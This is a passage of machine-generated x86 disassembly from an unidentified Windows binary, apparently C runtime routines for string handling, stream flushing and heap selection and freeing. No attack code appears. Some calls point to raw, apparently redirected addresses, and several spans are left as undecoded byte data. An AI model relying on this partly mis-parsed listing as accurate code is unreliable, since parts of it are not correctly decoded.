		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596


loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi


loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi


loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB334
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645


loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl


loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------


loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA


loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD


loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------


loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh


loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0


loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax


loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB334, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------


loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43C504, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD


loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C2F8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------


loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E


loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824


loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DB334, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E


loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------


loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DB344
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		call	near ptr 2660D84h
		nop
		cmp	eax, 7Ah
		jz	short loc_41D8BF


loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C2F8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax


loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7


loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DB344
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DB334, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DB344
		call	near ptr 27F0000h
		nop
		cmp	eax, esi
		jz	short loc_41D8B0


loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax


loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 0D3h
		dd 594E5F00h, 0C224027Ah, 18DDD3h, 0A164122Ah, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 6EE890E8h, 3302443Eh, 89D48AD2h
		dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h
		dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 90000059h, 443DF7E8h, 0C90CA302h,	19E8004Dh
		dd 0A3000058h, 4DB2E8h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 29E850A4h, 90024426h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 81E89056h, 5002252Ah, 0FE3820E8h,	0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB2F0, 1
		jnz	short loc_41DA37
		call	sub_423590


loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A2C0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB2F0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 0E8000000h
		dd 77A58245h
		db 90h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DC6C0
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF


loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB


loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		call	near ptr 2640871h
		nop
		test	eax, eax
		jnz	short loc_41DAEB
		nop
		call	near ptr 2660D84h
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------


loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp


loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------


loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------


loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh


loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------


loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DC5A0, esi
		jle	short loc_41DC4E


loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DB598
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------


loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax


loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DC5A0
		jl	short loc_41DC01


loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi


loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 267047Ch
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		call	near ptr 26B05ADh
		nop
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------


loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 2870000h
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F


loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al


loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC


loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		call	near ptr 2650000h
		nop
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65


loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al


loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52


loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx


loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1


loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx


loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93


loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF


loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 462303E8h
		dd 0A3C08502h, 4DC904h,	93E83674h, 83FFFFFEh, 8A303F8h
		dd 75004DC9h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0D9E8004Dh
		dd 90024621h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC904h
		dd 21BEE890h, 0C0850236h, 4DC8FCA3h, 0C3017500h, 4244C8Bh
		dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h
		dd 0D8900h, 0C7004DC9h,	4DC8E805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DC8F8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DC8FC
		lea	ecx, [eax+ecx*4]


loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------


loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx


loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
